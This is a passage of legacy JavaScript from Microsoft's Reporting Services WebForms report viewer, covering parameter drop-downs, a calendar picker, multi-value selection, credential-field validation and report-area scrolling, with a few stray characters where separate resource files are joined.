            totalLeft -= relativeToObj.offsetLeft;
        }

        return {Left:totalLeft, Top:totalTop};
    },
    
    PollForDropDownMovement : function()
    {
        var element = "$get('" + escape(this.get_element().id) + "')";
        setTimeout("if (" + element + " != null)" + element + ".control.PollingCallback();", 100);
    },

    PollingCallback : function()
    {
        // If the iframe isn't visible, no more events.
        var floatingIframe = $get(this.FloatingIframeId);
        if (floatingIframe.style.display != "inline")
            return;

        // If the text box moved, something on the page resized, so close the editor
        var expectedIframePos = this.GetDropDownPosition();
        if (floatingIframe.style.left != expectedIframePos.Left + "px" ||
            floatingIframe.style.top != expectedIframePos.Top + "px")
            this.HideFloatingFrame();
        else
            this.PollForDropDownMovement();
    }
}

Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl.registerClass("Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl", Microsoft.Reporting.WebFormsClient._BaseParameterInputControl);
//////////////////////////////////////////////////////////////////////////////////////////////////////


// CalendarDropDownParameterInputControl /////////////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl.initializeBase(this, [element]);
    
    this.BaseCalendarUrl = null;
}

Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl.callBaseMethod(this, "initialize");
    },
    
    dispose : function()
    {
        $clearHandlers(this.get_element());
        
        Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl.callBaseMethod(this, "dispose");
    },
    
    GetCurrentValue : function()
    {
        if (this.IsNullChecked())
            return this.NullValueText;
        else
        {
            var txtInput = $get(this.TextBoxId);
            if (txtInput.value == "")
                return null;
            else
                return txtInput.value;
        }
    },
    
    OnDropDownImageClick : function(e)
    {
        Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl.callBaseMethod(this, "OnDropDownImageClick", [e]);

        var calendarUrl = this.BaseCalendarUrl + encodeURIComponent($get(this.TextBoxId).value);
        this.SetCalendarUrl(calendarUrl, false);
    },
    
    OnCalendarSelection : function(resultfield)
    {
        // When the calendar is collapsing as a result of having a date selected, the calendar itself
        // has the focus.  Move the focus to the calendar button.  Otherwise IE can get into a state
        // where it won't allow anything to have the focus.
        var inputCtrl = $get(this.ImageId);
        inputCtrl.focus();
        
        this.ToggleFloatingFrameVisibility();

        this.SetCalendarUrl(this.BaseCalendarUrl + encodeURIComponent(resultfield.value), true);
    },
    
    SetCalendarUrl : function(url, forceReload)
    {
        var iframeObject = $get(this.FloatingIframeId).contentWindow;
        
        if (!forceReload) 
        {
            // If the selected dates are the different then get a new page
            var currentDate = this.GetSelectedDateFromUrl(iframeObject.document.location.search).toUpperCase();
            var newDate = this.GetSelectedDateFromUrl(url).toUpperCase();
            if (currentDate == newDate)
            {
                if (iframeObject.document.readyState == "complete")
                {
                    // Hide the calendar that is showing and make sure the one with the 
                    // users selection is showing.
                    iframeObject.HideUnhide(iframeObject.g_currentShowing, "DatePickerDiv", iframeObject.g_currentID, null);
                    return;
                }
            }
        }

        if (iframeObject.document.readyState == "complete")
        {
            // Show the loading page if navigating to a new calendar
            iframeObject.Hide(iframeObject.g_currentShowing);
            iframeObject.Unhide("LoadingDiv");
        }
        
        iframeObject.document.location.replace(url);
    },
    
    GetSelectedDateFromUrl : function(url)
    {
        var pos = url.lastIndexOf("selectDate");
        var date = null;
        
        if (pos != -1)
        {
            date = url.substring(pos);
            pos = date.indexOf("=");
            
            if (pos == -1)
                date = null;
            else
            {
                date = date.substring(pos + 1);
                
                pos = date.indexOf("&");
                if (pos != -1)
                    date = date.substring(0, pos);
            }
        }
        
        return date;
    }
}

Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl.registerClass("Microsoft.Reporting.WebFormsClient._CalendarDropDownParameterInputControl", Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl);
//////////////////////////////////////////////////////////////////////////////////////////////////////

// MultiValueParameterInputControl ///////////////////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl = function(element)
{
    Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl.initializeBase(this, [element]);
    
    this.HasValidValueList = false;
    this.AllowBlank = false;
    this.FloatingEditorId = null;
    this.TextAreaDelimiter = null;
    this.ListSeparator = null;
    this.GripImage = null;
    this.GripImageRTL = null;
}

Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl.prototype = 
{
    initialize : function() 
    {
        Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl.callBaseMethod(this, "initialize");

        $addHandlers($get(this.TextBoxId),
            { "click": this.OnTextBoxClick },
            this);
        this.UpdateTextBoxWithDisplayValue();
    },

    dispose : function() 
    {
        $clearHandlers(this.get_element());
        $clearHandlers($get(this.TextBoxId));
        
	if (this._resizeBehavior)
        {
            this._resizeBehavior.dispose();
            delete this._resizingDelegate;
        }
        
        Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl.callBaseMethod(this, "dispose");
    },

    OnTextBoxClick : function(e) 
    {
        this.ShowFloatingFrame();
        e.stopPropagation();
    },

    GetCurrentValue : function() 
    {
        if (this.HasValidValueList)
            return this.GetCurrentValueFromValidValueList();
        else
            return this.GetCurrentValueFromTextEditor();
    },

    GetCurrentValueFromTextEditor : function() 
    {
        var span = $get(this.FloatingEditorId);
        var editor = span.getElementsByTagName("TEXTAREA")[0];

        var valueString = editor.value;

        // Remove the blanks
        if (!this.AllowBlank) 
        {
            // Break down the text box string to the individual lines
            var valueArray = valueString.split(this.TextAreaDelimiter);

            var finalValue = "";
            for (var i = 0; i < valueArray.length; i++)
            {
                // If the string is non-blank, add it
                if (valueArray[i].length > 0) 
                {
                    if (finalValue.length > 0)
                        finalValue += this.ListSeparator;
                    finalValue += valueArray[i];
                }
            }

            if (finalValue.length == 0)
                return null;
            else
                return finalValue;
        }
        else
            return valueString.replace(new RegExp(this.TextAreaDelimiter, "g"), this.ListSeparator);
    },

    GetCurrentValueFromValidValueList : function() 
    {
        var valueString = "";

        // Get the table
        var div = $get(this.FloatingEditorId);
        var table = div.getElementsByTagName("TABLE")[0];

        // If there is only one element, it is a real value, not the select all option
        var startIndex = 0;
        if (table.rows.length > 1)
            startIndex = 1;

        for (var i = startIndex; i < table.rows.length; i++) 
        {
            var rowInfo = this.GetValueForMultiValidValueRow(table, i);

            if (rowInfo.CheckBox.checked) 
            {
                if (valueString.length > 0)
                    valueString += this.ListSeparator;
                valueString += this.Trim(rowInfo.Label);
            }
        }

        if (valueString.length == 0)
            return null;
        else
            return valueString;
    },

    GetValueForMultiValidValueRow : function(table, rowIndex) 
    {
        // Get the first cell of the row
        var firstCell = table.rows[rowIndex].cells[0];
        var span = firstCell.childNodes[0];

        var checkBox = span.childNodes[0];

        // Span is not always generated.
        var label;
        if (span.nodeName == "INPUT") 
        {
            checkBox = span;
            label = firstCell.childNodes[1];
        }
        else
            label = span.childNodes[1];

        // The label can be blank.  If it exists, make it non-zero length so that
        // view report button validation realizes there is a value selected.  Makes
        // text summary a little easier to read too.
        var labelStr = " ";
        if (label != null && label.firstChild != null)
            labelStr = label.firstChild.nodeValue;
        if (labelStr == "")
            labelStr = " ";

        return {CheckBox: checkBox, Label: labelStr};
    },

    // Trim leading and trailing spaces (NBSP) from a string
    Trim : function(text) 
    {
        var startpos = text.length;
        var nbsp = 160; // Remove occurrances of NBSP
        for (var i = 0; i < text.length; i++) 
        {
            // Look for &nbsp
            if (text.charCodeAt(i) != nbsp) 
            {
                startpos = i;
                break;
            }
        }
        var endpos = text.length - 1;
        for (var j = endpos; j >= startpos; j--) 
        {
            if (text.charCodeAt(j) != nbsp) 
            {
                endpos = j;
                break;
            }
        }
        endpos++;
        return text.substring(startpos, endpos);
    },

    UpdateTextBoxWithDisplayValue : function() 
    {
        var textBox = $get(this.TextBoxId);
        textBox.value = this.GetDisplayValue();
    },

    ShowFloatingFrame : function() 
    {
        var floatingEditor = $get(this.FloatingEditorId);

        if (this.RelativeDivId == null)
        {
            // Position the drop down.  This must be done before calling showing the frame. Otherwise, 
            // a scroll bar is likely to appear as a result of the frame becoming visible which would make the 
            // position invalid.
            var newEditorPosition = this.GetDropDownPosition();
            floatingEditor.style.left = newEditorPosition.Left + "px";
            floatingEditor.style.top = newEditorPosition.Top + "px";
        }

        // only show if the editor is not currently visible. 
        if (floatingEditor.style.display == "inline")
            return;
        
        // Set drop down and summary string to the same width to make it look like a drop down
        var visibleTextBox = $get(this.TextBoxId);
        floatingEditor.style.width = visibleTextBox.offsetWidth + "px";

        floatingEditor.style.display = "inline";

        // Show the iframe
        Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl.callBaseMethod(this, "ShowFloatingFrame");

        // Set the iframe height to our controls height
        var floatingIFrame = $get(this.FloatingIframeId);
        floatingIFrame.style.height = floatingEditor.offsetHeight;

        if (!(this._resizeBehavior))
            this._attachResizeHandle()
        else    
            this._resizeBehavior._reset();
    },

    _attachResizeHandle: function() 
    {
        var floatingEditor = $get(this.FloatingEditorId);
        if (this.HasValidValueList)
        {
            if (floatingEditor.offsetWidth > floatingEditor.scrollWidth &&
                floatingEditor.offsetHeight > floatingEditor.scrollHeight)
            {
                // no need of resizable behavior;
                return;
            }
        }

        // If we have horizontal overflow, horizontal scrollbar appears.
        // Increase the minimum height, if is less that 200px, so the last row to be visible.
        // This compensation have to be done only for IE < 8
        var scrollCompensation = 0;
        if (Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.documentMode < 8)
        {
            scrollCompensation = Math.max(0, (floatingEditor.offsetHeight - floatingEditor.clientHeight));
        }
        var minimumHeight = Math.min(150, floatingEditor.offsetHeight + scrollCompensation);
        var minimumWidth = parseInt(floatingEditor.style.width) - parseInt(floatingEditor.style.borderWidth) * 2;
        
        // the textarea must have overflow set in the server code.
        var resizeOverfow = this.HasValidValueList ? "auto" : "hidden";

        if (!this.HasValidValueList)
        {
            this._textArea = floatingEditor.getElementsByTagName("textarea")[0];
            // Firefox includes the scrollbars in the padding for text areas, despite outer box model. 
            if (Sys.Browser.agent == Sys.Browser.Firefox)
            {
                this._textArea.style.padding = "0px";
            }
        }
        this._resizeBehavior = $create(Microsoft.Reporting.WebFormsClient.ResizableControlBehavior,
                {
                    GripImage: this.GripImage,
                    GripImageRTL: this.GripImageRTL,
                    MinimumHeight: minimumHeight,
                    MinimumWidth: minimumWidth,
                    Overflow: resizeOverfow,
                    id: this.FloatingEditorId + "_resize"
                }, null, null, floatingEditor
        );
        this._resizingDelegate = Function.createDelegate(this, this._onResizing)
        this._resizeBehavior.add_resizing(this._resizingDelegate);
    },

    _onResizing: function(sender, args)
    {
        var floatingEditor = $get(this.FloatingEditorId);
        var floatingIFrame = $get(this.FloatingIframeId);
        var size = sender.get_Size();
        // check if the frame is displayed first to reduce flickering.
        if (floatingIFrame.style.display != "block")
        {
            floatingIFrame.style.display = "block";
        }

        // The size of the text area have to be set explicitly.
        if (!this.HasValidValueList && this._textArea)
        {
            if (_$RVCommon.isIEQuirksMode())
            {
                this._textArea.style.width = size.width + "px";
                this._textArea.style.height = size.height + "px";
            }
            else
            {
                // standard box mode include padding;
                var padding = (parseInt(this._textArea.style.padding) * 2);
                this._textArea.style.width = size.width - padding + "px";
                this._textArea.style.height = size.height - padding + "px";
            }
        }

        floatingIFrame.style.left = floatingEditor.style.left;
        floatingIFrame.style.width = size.width + "px";
        floatingIFrame.style.height = size.fullHeight + "px";
    },

    HideFloatingFrame : function() 
    {
        var floatingEditor = $get(this.FloatingEditorId);

        // Hide the editor
        floatingEditor.style.display = "none";

        // Update the text box
        this.UpdateTextBoxWithDisplayValue();

        // Hide the iframe
        Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl.callBaseMethod(this, "HideFloatingFrame");
    },

    OnSelectAllClick : function(src) 
    {
        // Get the table
        var div = $get(this.FloatingEditorId);
        var table = div.getElementsByTagName("TABLE")[0];

        for (var i = 1; i < table.rows.length; i++) 
        {
            var rowInfo = this.GetValueForMultiValidValueRow(table, i);

            rowInfo.CheckBox.checked = src.checked;
        }
    },

    OnValidValueClick : function(src, selectAllCheckBox) 
    {
        if (!src.checked)
            selectAllCheckBox.checked = false;
    }
}

Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl.registerClass("Microsoft.Reporting.WebFormsClient._MultiValueParameterInputControl", Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl);

//////////////////////////////////////////////////////////////////////////////////////////////////////
H,Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._PromptArea = function(element)
{
    Microsoft.Reporting.WebFormsClient._PromptArea.initializeBase(this, [element]);

    this.ReportViewerId = null;

    this.CredentialsLinkId = null;
    this.ParametersGridID = null;
    this.ViewReportButtonId = null;

    this.m_activeDropDown = null;
    this.m_parameterIdList = null;
    this.m_credentialIdList = null;
    this.m_hookedEvents = false;

    this.m_onReportViewerLoadingChangedDelegate = Function.createDelegate(this, this.OnReportViewerLoadingChanged);
}

Microsoft.Reporting.WebFormsClient._PromptArea.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._PromptArea.callBaseMethod(this, "initialize");

        var viewReportButton = $get(this.ViewReportButtonId);

        if (viewReportButton != null)
        {
            $addHandlers($get(this.ViewReportButtonId),
                { "click": this.OnViewReportClick },
                this);
        }

        var reportViewer = $find(this.ReportViewerId);
        if (reportViewer != null)
            reportViewer.add_propertyChanged(this.m_onReportViewerLoadingChangedDelegate);
    },

    dispose: function()
    {
        var viewReportButton = $get(this.ViewReportButtonId);

        if (viewReportButton != null)
            $clearHandlers(viewReportButton);

        var reportViewer = $find(this.ReportViewerId);
        if (reportViewer != null)
            reportViewer.remove_propertyChanged(this.m_onReportViewerLoadingChangedDelegate);

        $clearHandlers(this.get_element());

        delete this.m_onReportViewerLoadingChangedDelegate;
        this.m_onReportViewerLoadingChangedDelegate = null;

        Microsoft.Reporting.WebFormsClient._PromptArea.callBaseMethod(this, "dispose");
    },

    // Custom accessor for complex object type (array)
    set_ParameterIdList: function(value) { this.m_parameterIdList = value; },
    get_ParameterIdList: function() { return this.m_parameterIdList; },
    set_CredentialIdList: function(value) { this.m_credentialIdList = value; },
    get_CredentialIdList: function() { return this.m_credentialIdList; },

    ShouldValidateParameters: function()
    {
        if (this.m_parameterIdList == null)
            return false;

        // Get the credential link
        var credentialLink = $get(this.CredentialsLinkId);

        // The credential link is not rendered in 2 cases.
        // 1 - There are no credentials.  If there are no credentials but there
        //     is a prompt area at all, then it must have parameters which should
        //     then be validated.
        // 2 - The credential prompts are being shown initially because they aren't
        //     satisfied.  In this case, there are no rendered parameter prompts, so
        //     it does't hurt to validate all 0 of them.
        if (credentialLink == null)
            return true;

        // Initial view was of parameters and it still is
        return credentialLink.style.display != "none";
    },

    ShouldValidateCredentials: function()
    {
        if (this.m_credentialIdList == null)
            return false;

        // Get the credential link
        var credentialLink = $get(this.CredentialsLinkId);

        // The credential link is not rendered in 2 cases.
        // 1 - There are no credentials.  In this case, validating all 0 of them
        //     does no harm.
        // 2 - The credential prompts are being shown initially because they aren't
        //     satisfied.  In this case, we always want to validate the input boxes.
        // Therefore, if there is no credential link, validate the credentials.
        if (credentialLink == null)
            return true;

        // Switched back from intial view of parameters to credentials
        return credentialLink.style.display == "none";
    },

    ValidateInputs: function()
    {
        if (this.ShouldValidateCredentials())
        {
            for (var i = 0; i < this.m_credentialIdList.length; i++)
            {
                var credentialElement = $get(this.m_credentialIdList[i]);
                var credentialControl = credentialElement.control;
                if (!credentialControl.ValidateHasValue())
                    return false;
            }
        }

        if (this.ShouldValidateParameters())
        {
            for (var i = 0; i < this.m_parameterIdList.length; i++)
            {
                var parameterElement = $get(this.m_parameterIdList[i]);
                var parameterControl = parameterElement.control;
                if (!parameterControl.ValidateHasValue())
                    return false;
            }
        }

        return true;
    },

    OnViewReportClick: function(e)
    {
        if (!this.ValidateInputs())
            e.preventDefault();
    },

    OnChangeCredentialsClick: function()
    {
        // Hide the link
        var credentialLink = $get(this.CredentialsLinkId);
        credentialLink.style.display = "none";

        // Make sure each row in the table is visible
        var paramsTable = $get(this.ParametersGridID);
        for (var i = 0; i < paramsTable.rows.length; i++)
        {
            var row = paramsTable.rows[i];
            var makeVisible = row.attributes.getNamedItem("IsParameterRow") == null;
            _$RVCommon.SetElementVisibility(row, makeVisible);
        }
        
        // Changing which rows are visible can affect the height of the prompt area.  Need to recalc layout.
        var reportViewer = $find(this.ReportViewerId);
        reportViewer.recalculateLayout();
    },

    HookParameterEvents: function()
    {
        if (this.m_hookedEvents || this.m_parameterIdList == null)
            return;

        for (var i = 0; i < this.m_parameterIdList.length; i++)
        {
            var parameterObject = $get(this.m_parameterIdList[i]).control;
            if (Microsoft.Reporting.WebFormsClient._GenericDropDownParameterInputControl.isInstanceOfType(parameterObject))
            {
                parameterObject.get_events().addHandler("OnShowEvent", Function.createDelegate(this, this.OnNewActiveDropDown));
                parameterObject.get_events().addHandler("OnHideEvent", Function.createDelegate(this, this.OnActiveDropDownHidden));
            }
        }

        this.m_hookedEvents = true;
    },

    OnNewActiveDropDown: function(sender, eventArgs)
    {
        // Hide the previously visible dropDown
        if (this.m_activeDropDown != sender && this.m_activeDropDown != null)
            this.m_activeDropDown.HideFloatingFrame();

        this.m_activeDropDown = sender;
    },

    OnActiveDropDownHidden: function(sender, eventArgs)
    {
        // Check that it is still listed as active, in case event ordering
        // caused the show on the new one to fire first
        if (this.m_activeDropDown == sender)
            this.m_activeDropDown = null;
    },

    HideActiveDropDown: function()
    {
        if (this.m_activeDropDown != null)
            this.m_activeDropDown.HideFloatingFrame();
    },

    OnReportViewerLoadingChanged : function(sender, e)
    {
        if (e.get_propertyName() == "isLoading")
        {
            var reportViewer = $find(this.ReportViewerId);

            var isLoading = reportViewer.get_isLoading();
            
            var shouldEnable = false;
            if (!isLoading)
            {
                var reportAreaContentType = reportViewer.get_reportAreaContentType();
                shouldEnable = reportAreaContentType != Microsoft.Reporting.WebFormsClient.ReportAreaContent.WaitControl;            
            }

            this.EnableDisableInput(shouldEnable);
        }
    },

    EnableDisableInput: function(shouldEnable)
    {
        if (shouldEnable)
            this.HookParameterEvents();

        // Enable/Disable UI elements.  If enabling and about to trigger a postback
        // (which would just disable things again), skip the enable.
        if (!shouldEnable || !Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected)
        {
            //Update the ViewReport Button
            if (this.ViewReportButtonId)
            {
                var button = $get(this.ViewReportButtonId);
                if (button)
                    button.disabled = !shouldEnable;
            }

            //Update all the credential controls
            if (this.m_credentialIdList)
            {
                for (var i = 0; i < this.m_credentialIdList.length; i++)
                {
                    var credentialElement = $get(this.m_credentialIdList[i]);
                    var credentialControl = credentialElement.control;
                    credentialControl.SetEnableState(shouldEnable);
                }
            }
            
            //Update all the parameter controls
            if (this.m_parameterIdList)
            {
                for (var i = 0; i < this.m_parameterIdList.length; i++)
                {
                    var parameterElement = $get(this.m_parameterIdList[i]);
                    var parameterControl = parameterElement.control;
                    parameterControl.SetEnableState(shouldEnable);
                }
            }
        }
    }
}

Microsoft.Reporting.WebFormsClient._PromptArea.registerClass("Microsoft.Reporting.WebFormsClient._PromptArea", Sys.UI.Control);



// DataSourceCredential /////////////////////////////////////////////////////
Microsoft.Reporting.WebFormsClient.DataSourceCredential = function(element)
{
    Microsoft.Reporting.WebFormsClient.DataSourceCredential.initializeBase(this, [element]);
    
    this.UserNameId = null;
    this.PasswordId = null;
    this.ValidationMessage = null;
}

Microsoft.Reporting.WebFormsClient.DataSourceCredential.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient.DataSourceCredential.callBaseMethod(this, "initialize");
    },
    
    dispose : function()
    {
        $clearHandlers(this.get_element());
        
        Microsoft.Reporting.WebFormsClient.DataSourceCredential.callBaseMethod(this, "dispose");
    },

    ValidateHasValue : function()
    {
        var userControl = $get(this.UserNameId);
        if (userControl.value == "")
        {
            alert(this.ValidationMessage);
            return false;
        }
        return true;
    },
    
    SetEnableState : function(shouldEnable)
    {
        if(this.UserNameId)
        {
            var userControl = $get(this.UserNameId);
            userControl.disabled = !shouldEnable;
        }
            
        if(this.PasswordId)
        {
            var passwordControl = $get(this.PasswordId)
            passwordControl.disabled = !shouldEnable;
        }
    }    
}

Microsoft.Reporting.WebFormsClient.DataSourceCredential.registerClass("Microsoft.Reporting.WebFormsClient.DataSourceCredential", Sys.UI.Control);
TType.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._ReportArea = function(element)
{
    Microsoft.Reporting.WebFormsClient._ReportArea.initializeBase(this, [element]);

    // MaintainPosition
    this.m_previousViewportOffset = null; // Previous distance of the alignment object from the upper left corner of the visible area

    // AvoidScrolling
    this.m_previousScrollOffset = null;

    this.VisibleReportContentContainerId = null;
    this.ReportControlId = null;
    this.NonReportContentId = null;
    this.ScrollPositionId = null;
    this.ReportAreaVisibilityStateId = null;

    // Only used for checking when the report page changes.  Use this.GetReportPage() to access the visible element.
    this.m_currentReportPage = null;

    this.m_contentTypeToMakeVisibleOnNextLoad = Microsoft.Reporting.WebFormsClient.ReportAreaContent.None;
    this.m_isNewContentForNonReportContentArea = false;

    this.m_lastReportPageCellId = null;

    this.m_hookReportObjectLoadedDelegate = Function.createDelegate(this, this.HookReportObjectLoaded);
    this.m_onReportPageLoadedDelegate = Function.createDelegate(this, this.OnReportPageLoaded);

    this.m_userCanceled = false;
}

Microsoft.Reporting.WebFormsClient._ReportArea.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._ReportArea.callBaseMethod(this, "initialize");

        // Listen for new instances of the report object from async postbacks
        Sys.Application.add_load(this.m_hookReportObjectLoadedDelegate);

        $addHandlers(this.get_element(),
            { "scroll": this.OnScroll,
                "resize": this.OnScroll
            },
            this);
    },

    dispose: function()
    {
        if (this.VisibleReportContentContainerId)
        {
            //Remove the report from the visible container to speed up ASP.Net dispose.
            //ASP.Net walks the DOM looking for dispose calls.  Since the report is solely HTML,
            //there are no controls to dispose, so it's safe to remove.
            var visibleContainer = $get(this.VisibleReportContentContainerId);
            if (visibleContainer && visibleContainer.childNodes.length > 0)
            {
                visibleContainer.removeChild(visibleContainer.childNodes[0]);
            }
        }

        $clearHandlers(this.get_element());

        Sys.Application.remove_load(this.m_hookReportObjectLoadedDelegate);
        delete this.m_hookReportObjectLoadedDelegate;

        delete this.m_onReportPageLoadedDelegate;

        Microsoft.Reporting.WebFormsClient._ReportArea.callBaseMethod(this, "dispose");
    },

    HookReportObjectLoaded: function()
    {
        var reportPage = this.GetReportPage();
        if (reportPage != null && reportPage != this.m_currentReportPage)
        {
            // Save off the old report cell ID before removing the reference to the last report page.
            this.m_lastReportCellId = null;
            if (this.m_currentReportPage != null)
                this.m_lastReportCellId = this.m_currentReportPage.ReportCellId;

            this.m_currentReportPage = reportPage;

            // event will be disconnected by report object dispose
            reportPage.add_allContentLoaded(this.m_onReportPageLoadedDelegate);
        }
    },

    IsLoading: function()
    {
        var reportPage = this.GetReportPage();
        return reportPage == null || reportPage.IsLoading();
    },

    OnReportPageLoaded: function()
    {
        var reportPage = this.GetReportPage();

        this.SwapReport(reportPage);
        this.SetRegionVisibility();

        reportPage.OnReportVisible();
        this.ScrollToTarget(reportPage);

        reportPage.OnReportScrolled();

        // Always raise the area changed event
        var areaLoadedHandler = this.get_events().getHandler("contentChanged");
        if (areaLoadedHandler)
        {
            var eventArgs = new Sys.EventArgs();
            eventArgs.ToolBarUpdate = reportPage.get_ToolBarUpdate();

            areaLoadedHandler(this, eventArgs);
        }

        // Clear state that was saved for the report page swap so that
        // it doesn't affect the next page swap.
        this.m_previousViewportOffset = null;
        this.m_previousScrollOffset = null;
    },

    get_scrollPosition: function()
    {
        var scrollableArea = this.get_element();
        return new Sys.UI.Point(scrollableArea.scrollLeft, scrollableArea.scrollTop);
    },

    set_scrollPosition: function(scrollPoint)
    {
        var reportAreaElement = this.get_element();
        reportAreaElement.scrollTop = scrollPoint.y;
        reportAreaElement.scrollLeft = scrollPoint.x;

        this.raisePropertyChanged("scrollPosition");
    },

    // This value is not reliable until the page has loaded or the contentsChanged event has fired.
    get_contentType: function()
    {
        this.LoadNewReportAreaVisibilityState();
        return this.m_contentTypeToMakeVisibleOnNextLoad;
    },

    // ContentChanged event - fires after the contents of the report area have changed and
    // are fully loaded.
    add_contentChanged: function(handler)
    {
        this.get_events().addHandler("contentChanged", handler);
    },
    remove_contentChanged: function(handler)
    {
        this.get_events().removeHandler("contentChanged", handler);
    },

    LoadNewReportAreaVisibilityState: function()
    {
        if (this.m_userCanceled)
        {
            // this is a specific form of "canceled", m_userCanceled is true if the report got sent to the client
            // and the user decided to cancel once images were loading. In that case, we've already been given new
            // data on what is in the report area, but it's now bad data because the user canceled. So instead,
            // tell everyone the report area is empty (which it is, the cancelling forced it to be).
            this.m_contentTypeToMakeVisibleOnNextLoad = Microsoft.Reporting.WebFormsClient.ReportAreaContent.None;
            this.m_isNewContentForNonReportContentArea = false;
        }
        else
        {
            var reportAreaVisibilityState = $get(this.ReportAreaVisibilityStateId);

            var newContentTypeAttr = reportAreaVisibilityState.attributes.getNamedItem("NewContentType");
            this.m_contentTypeToMakeVisibleOnNextLoad = eval(newContentTypeAttr.value);

            var nonReportContentAttr = reportAreaVisibilityState.attributes.getNamedItem("ForNonReportContentArea");
            this.m_isNewContentForNonReportContentArea = eval(nonReportContentAttr.value);
        }
    },

    SetRegionVisibility: function()
    {
        this.LoadNewReportAreaVisibilityState();
        this.SetSingleRegionVisibility(this.NonReportContentId, this.m_isNewContentForNonReportContentArea);
    },

    SetSingleRegionVisibility: function(regionElementId, makeVisible)
    {
        var regionElement = $get(regionElementId);
        if (makeVisible)
            regionElement.style.display = "";
        else
            regionElement.style.display = "none";
    },

    GetReportPage: function()
    {
        var reportElement = $get(this.ReportControlId);
        if (reportElement != null)
            return reportElement.control;
        else
            return null;
    },

    SwapReport: function(reportPage)
    {
        var visibleReportContentContainer = $get(this.VisibleReportContentContainerId);

        // If there is old report content
        if (visibleReportContentContainer.childNodes.length > 0)
        {
            // Save off scroll state before removing the old content
            if (this.CanScrollReportArea())
            {
                var scrollableArea = this.get_element();

                if (reportPage.AvoidScrollChange)
                {
                    this.m_previousScrollOffset = { Left: scrollableArea.scrollLeft, Top: scrollableArea.scrollTop };
                }
                else if (reportPage.PreviousViewNavigationAlignmentId != null && this.m_lastReportCellId != null)
                {
                    // Get the old target position and zoom rate
                    var previousZoom = reportPage.GetZoomFromReportCell(this.m_lastReportCellId);
                    var alignmentTargetOffset = this.CalculateElementOffset(reportPage.PreviousViewNavigationAlignmentId, previousZoom);

                    // Calculate the old offset within the viewport
                    var previousViewportOffsetLeft = alignmentTargetOffset.Left - scrollableArea.scrollLeft;
                    var previousViewportOffsetTop = alignmentTargetOffset.Top - scrollableArea.scrollTop;
                    this.m_previousViewportOffset = { Left: previousViewportOffsetLeft, Top: previousViewportOffsetTop };
                }
            }

            // Remove the old content
            var currentVisibleContent = visibleReportContentContainer.childNodes[0];
            visibleReportContentContainer.removeChild(currentVisibleContent);
        }

        // Have new content to render
        if (reportPage.ReportDivId != null)
        {
            var reportContent = $get(reportPage.ReportDivId);
            var reportParent = reportContent.parentNode;

            reportParent.removeChild(reportContent);
            if (visibleReportContentContainer.style.display == "none")
                visibleReportContentContainer.style.display = "";
            visibleReportContentContainer.appendChild(reportContent);
        }
        else if (visibleReportContentContainer.style.display == "")
            visibleReportContentContainer.style.display = "none";

    },

    ScrollToTarget: function(reportPage)
    {
        // If the report area scroll independently, scroll only that area
        if (this.CanScrollReportArea())
        {
            var newScrollTop = 0;
            var newScrollLeft = 0;
            var zoomRate = 1;

            if (reportPage.NavigationId != null)
            {
                // AvoidScrollingFromOrigin (e.g. new search page)
                if (reportPage.AvoidScrollFromOrigin)
                {
                    this.BringElementIntoView(reportPage.NavigationId, { Left: 0, Top: 0 });
                    return;
                }

                // AvoidScrolling (e.g. first search hit and it's on the current page)
                else if (this.m_previousScrollOffset != null)
                {
                    this.BringElementIntoView(reportPage.NavigationId, this.m_previousScrollOffset);
                    return;
                }

                // MaintainPosition with target / AlignedToTopLeft
                else
                {
                    // Align to top left (e.g. bookmark / docmap)
                    var targetElementOffset = this.CalculateElementOffset(reportPage.NavigationId, reportPage.GetCurrentZoomFactor());
                    newScrollTop = targetElementOffset.Top;
                    newScrollLeft = targetElementOffset.Left;

                    // MaintainPosition with target (e.g. toggle / sort) 
                    if (this.m_previousViewportOffset != null)
                    {
                        newScrollLeft -= this.m_previousViewportOffset.Left;
                        newScrollTop -= this.m_previousViewportOffset.Top;
                    }
                }
            }

            // Maintain position without target (e.g. no more search hits)
            else if (this.m_previousScrollOffset != null)
            {
                newScrollTop = this.m_previousScrollOffset.Top;
                newScrollLeft = this.m_previousScrollOffset.Left;
            }

            // Scroll to a specific pixel position (e.g. back from drillthrough, auto refresh)
            else if (reportPage.SpecificScrollPosition != null)
            {
                var scrollPosition = this._DeserializeScrollPosition(reportPage.SpecificScrollPosition);

                newScrollTop = scrollPosition.y;
                newScrollLeft = scrollPosition.x;
            }

            // Return to origin (e.g. standard page navigation)
            else
                ;

            // Scroll position can be of type float due to zoom rate
            newScrollLeft = parseInt(newScrollLeft);
            newScrollTop = parseInt(newScrollTop);
            this.set_scrollPosition(new Sys.UI.Point(newScrollLeft, newScrollTop));
        }
        else if (reportPage.NavigationId != null)
        {
            this.ScrollWebForm(reportPage.NavigationId);
        }
    },

    CanScrollReportArea: function()
    {
